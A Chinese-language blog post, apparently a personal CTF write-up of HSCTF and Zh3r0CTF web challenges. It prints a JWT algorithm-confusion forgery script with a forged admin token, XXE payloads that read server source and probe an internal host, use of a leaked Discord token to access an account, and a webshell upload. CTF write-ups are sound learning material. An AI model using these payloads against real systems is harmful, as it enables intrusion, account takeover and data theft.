follow my dream

zh3r0ctf_and_hsctf

字数统计: 2.9k阅读时长: 16 min
2020/06/18 Share

HSCTF

全称是 high school catch the flag

web

Debt Simulator

这题不知道要做什么,当然也不知道该怎么做 问问其他人有没有想法

nice 做出来了

1
<!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"><link rel="manifest" href="/site.webmanifest"><link href="https://fonts.googleapis.com/css2?family=Merriweather&family=Raleway:wght@800&display=swap" rel="stylesheet"><title>Debt :))</title><link href="/static/css/main.6279183e.chunk.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><script>!function(e){function t(t){for(var n,l,i=t[0],a=t[1],f=t[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,i=1;i<r.length;i++){var a=r[i];0!==o[a]&&(n=!1)}n&&(u.splice(t--,1),e=l(l.s=r[0]))}return e}var n={},o={1:0},u=[];function l(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,l),r.l=!0,r.exports}l.m=e,l.c=n,l.d=function(e,t,r){l.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,t){if(1&t&&(e=l(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(l.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)l.d(r,n,function(t){return e[t]}.bind(null,n));return r},l.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(t,"a",t),t},l.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},l.p="/";var i=this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[],a=i.push.bind(i);i.push=t,i=i.slice();for(var f=0;f<i.length;f++)t(i[f]);var p=a;r()}([])</script><script src="/static/js/2.f3855285.chunk.js"></script><script src="/static/js/main.1b8f0187.chunk.js"></script></body></html>

参考:

https://www.secpulse.com/archives/96416.html

查看SOURCE:
image-20200605013203592

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import React, { useState, useEffect } from 'react';
import Header from "./Header";
import Main from './Main';
import Message from './Message';
import Button from "./Button";
import "./App.css";

function App() {
const [message, setMessage] = useState("Ready to Play?");
const [runningTotal, setRunningTotal] = useState(0);
const [buttonText, setButtonText] = useState("Start Game");


useEffect(() => {
if (runningTotal < -1000) {
setMessage("You lost. You have less than $-1000. Better luck next time.");
setButtonText("Play Again");
} else if (runningTotal > 2000) {
setMessage("You won. You have more than $2000. Try your luck again?");
setButtonText("Play Again");
} else if (runningTotal !== 0 && buttonText !== "Next Round") {
setButtonText("Next Round");
}
});

const onClick = () => {
const isGetCost = Math.random() > 0.4 ? true : false;
const func = isGetCost ? 'getCost' : 'getPay';
const requestOptions = {
method: 'POST',
body: 'function=' + func,
headers: { 'Content-type': 'application/x-www-form-urlencoded' }
}

fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001", requestOptions)
.then(res => res.json())
.then(data => {
data = data.response;
if (buttonText === "Play Again" || buttonText === "Start Game") {
setButtonText("Next Round");
setRunningTotal(0);
}
setMessage("You have " + (isGetCost ? "paid me " : "received ") + "$" + data + ".");
setRunningTotal(runningTotal => isGetCost ? runningTotal - data : runningTotal + data);
});
}

return <div className="App">
<Header />
<Message message={message}/>
<Main content={runningTotal}/>
<Button onClick={onClick} text={buttonText}/>
</div>;
}

export default App;

继续访问https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001

1
{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}

存在三个function

根据app.js和{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}

以POST方式传function=getgetgetgetgetgetgetgetgetFlag

NICE 得到flag

image-20200605013632866

Broken Tokens

参考连接:

https://www.jianshu.com/p/44d88abb9515

源代码阅读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import jwt
import base64
import os
import hashlib # hash的库?
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG") #该方法,用于获取全局变量。
PASSWORD = os.getenv("PASSWORD")
# 读取私钥和密钥
with open("privatekey.pem", "r") as f:
PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "POST":
resp = make_response(redirect("/")) # redirect 跳转 make_response 响应
if request.form["action"] == "Login":
if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
else:
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
resp.set_cookie("auth", auth)
else:
resp.delete_cookie("auth")
# 所以必须是POST,才能拿到JWT
return resp
else:
auth = request.cookies.get("auth")
if auth is None: # cookie为空的情况下,logged_in 和 admin 为false
logged_in = False
admin = False
else:
logged_in = True
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
resp = make_response(
render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
)
return resp
# 这个路由器用来下载 publickey.pem
@app.route("/publickey.pem")
def public_key():
with open("./publickey.pem", "r") as f:
resp = make_response(f.read())
resp.mimetype = 'text/plain'
return resp

if __name__ == "__main__":
app.run()

突破点

1
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"

基本理解 用PUBLIC_KEY去解JWT,而不是 PRIVATE_KEY,同时admin 之后的取值域为{true,false},所以完全可以用公钥来加密得到 JWT

JWT 常见考点之一,xz上前辈有整理

1
2
3
4
5
>>> a = 1
>>> b = 2
>>> c = a == b
>>> c
False
  • 首先获取JWT

image-20200602025653457

1
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw

晚上的网速太感人了,jwt.io开vpn还这么慢

  • 公钥
1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtnREuAwK7M/jWZdSVNfN
4m+kX0rqakI6KIR/qzT/Fv7hfC5vg9UJgEaAGOfexmoDMBYTLRSHnQ9EYjF6bkCh
w+NVQCqsvy9psZVnjUHQ6QfVUdyrUcsOuRoMMaEBYp+qCegDY5Vp65Wzk05qXfvK
LJK9apOo0pPgD7fdOhpqwzejxgWxUgYvMqkGQS2aCC51ePvC6edkStNxovoDFvXk
uG69/7jEqs2k2pk5mI66MR+2U46ub8hPUk7WA6zTGHhIMuxny+7ivxYIXCqEbZGV
YhOuubXfAPrVN2UpL4YBvtfmHZMmjp2j39PEqxXU70kTk96xq3WhnYm46HhciyIz
zQIDAQAB
-----END PUBLIC KEY-----

在线网站: https://www.ssleye.com/pub_asysi.html

image-20200602031229944

环境问题?

1
2
3
4
5
6
7
8
9
10
11
12
import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect

with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()


auth = jwt.encode({"auth": "admin"}, PUBLIC_KEY, algorithm="HS256")

print(auth)

ERROR:
The specified key is an asymmetric key or x509 certificate and’
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret

RESOLVE:

https://www.anquanke.com/post/id/145540

我的方法是:

image-20200605003920379

直接将这句删了

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect

with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()


auth = jwt.encode({"auth": "admin"}, PUBLIC_KEY, algorithm="HS256")

print(auth)
#auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

image-20200605004136900

Very Safe Login

看源代码就行

Traffic Lights W

感觉是xxe

emmm 就是xxe

1001 中的XML文件 

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<content>Red</content>
</root>
  • test
1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY content 'hava a xxe'>
]>
<root>
<content>&content;</content>
</root>

image-20200605015924196

firmware_upload.php

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [

<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=firmware_upload.php">
]>
<root>
<content>&content;</content>
</root>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!doctype html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Firmware Upload</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous">
<link href="dashboard.css" rel="stylesheet">
</head>

<body>
<nav class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0">
<a class="navbar-brand col-md-3 col-lg-2 mr-0 px-3" href="/">Shady Traffic Light Company</a>
</nav>

<div class="container">
<div class="h-100 d-flex justify-content-center align-items-center border-bottom">
<div>
<br><br><br>
<?php
if(isset($_GET["light"])) {
$light = $_GET["light"];
if ($light === "1001") {
echo "<h1 class='h2'>{$light}</h1>";
echo '<form action="/firmware_upload.php" method="GET"> <div class="form-group"> <label for="xml">Upload your XML firmware.<br>Example: <a href="example"><code>example</code></a></label> <textarea class="form-control" id="xml" name="xml" rows="8"></textarea><br><button type="submit" class="btn btn-primary btn-block">Submit</button></div> </form>';
}
else if ($light === "1004") {
echo "<h1 class='h2'>{$light}</h1>";
echo "<h1 class=\"h2\">Error: High CPU Usage</h1>";
}
else {
echo "<h1 class=\"h2\">Error: Not active</h1>";
}
}
?>

<?php
if (isset($_GET["xml"])) {
libxml_disable_entity_loader (false);

$xml = strlen($_GET["xml"]) > 0 ? $_GET["xml"] : "Firmware Update Failed";

$document = new DOMDocument();
$document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$parsed = simplexml_import_dom($document);

echo $parsed->content;
}
?>

</div>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script>
</body>

</html>

但是谁能告诉我flag地址

作者说不是在那台VPS上

行吧 :P

image-20200605180619549

根据TABEL进行内网探测

host 状态
traffic-light-1001 fales
traffic-light-1004 true
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [

<!ENTITY content SYSTEM "http://traffic-light-1004">
]>
<root>
<content>&content;</content>
</root>

image-20200605180119210


Zh3r0

web

Tokens

Descriptions:

The flag was sent by Mr.4N0NYM4U5 to my victim. But i dont have the username and password of the victim to login into the discord account. The only thing i have is a god damn token. Can you help me to get the flag. Ill give you the token and it is all you need. Token : NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU

Author : Mr.4N0NYM4U5

1
NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU

get the token

参考连接:

https://www.youtube.com/watch?v=xuB1WQVM3R8

https://www.youtube.com/watch?v=vVEUG5JZgO8

按着视频来就行。

image-20200617133519153

Google Source code

Descriptions:

Chall Link : http://web.zh3r0.ml:7777/
you dont get anything free except the source code. Try to search it and also I never liked to upload my homework in google classroom. Help me hack this website please :)

Author : Finch

image-20200617134645134

  • your work
1
https://www.youtube.com/watch?v=oHg5SJYRHA0
  • classroom
1
https://classroom.google.com/
  • http://web.zh3r0.ml:7777/robots.txt

这是扫描路径的结果,就一个

1
DUMB: this is not a good place the flag is the flag :P

hint

image-20200617150416171

后来仔细研究了一下hint,觉得应该是get请求page页面

如:http://web.zh3r0.ml:7777/?page=10000

之后bp抓包,开始爆破page页数。慢慢等吧,网速太卡了

不好意思,鄙人傻逼了。。。。。

http://web.zh3r0.ml:7777/?page=flag

page = flag

1
2
<img src='https://media.giphy.com/media/p0RDMJGgMXF96/giphy.gif' />
<!-- https://www.youtube.com/watch?v=0ZfZj2bn_xg -->

得到提示upload 视频内容好像是黑镜 上传预告片

page = upload

image-20200617194023583

上传的时候,发现会定期删除文件,直接fuzz就行

image-20200617193837007

蚁剑连接

![批注 2020-06-17 185024](http://img.xzaslxr.xyz/img/批注 2020-06-17 185024.jpg)

我让队友找才找到的(自己非酋注定),这问价夹我吐了

image-20200617193438689

吐槽一句,找flag弄得这么复杂。。。有意义吗

还有队友别抢flag了 555

Afterword

下一步计划刷hackthebox、整理内网渗透和工具使用手册。

CATALOG
  1. 1. HSCTF
    1. 1.1. web
      1. 1.1.1. Debt Simulator
      2. 1.1.2. Broken Tokens
        1. 1.1.2.1. 突破点
      3. 1.1.3. Very Safe Login
      4. 1.1.4. Traffic Lights W
  2. 2. Zh3r0
    1. 2.1. web
      1. 2.1.1. Tokens
        1. 2.1.1.1. Descriptions:
        2. 2.1.1.2. get the token
      2. 2.1.2. Google Source code
        1. 2.1.2.1. Descriptions:
        2. 2.1.2.2. hint
        3. 2.1.2.3. page = flag
        4. 2.1.2.4. page = upload
  3. 3. Afterword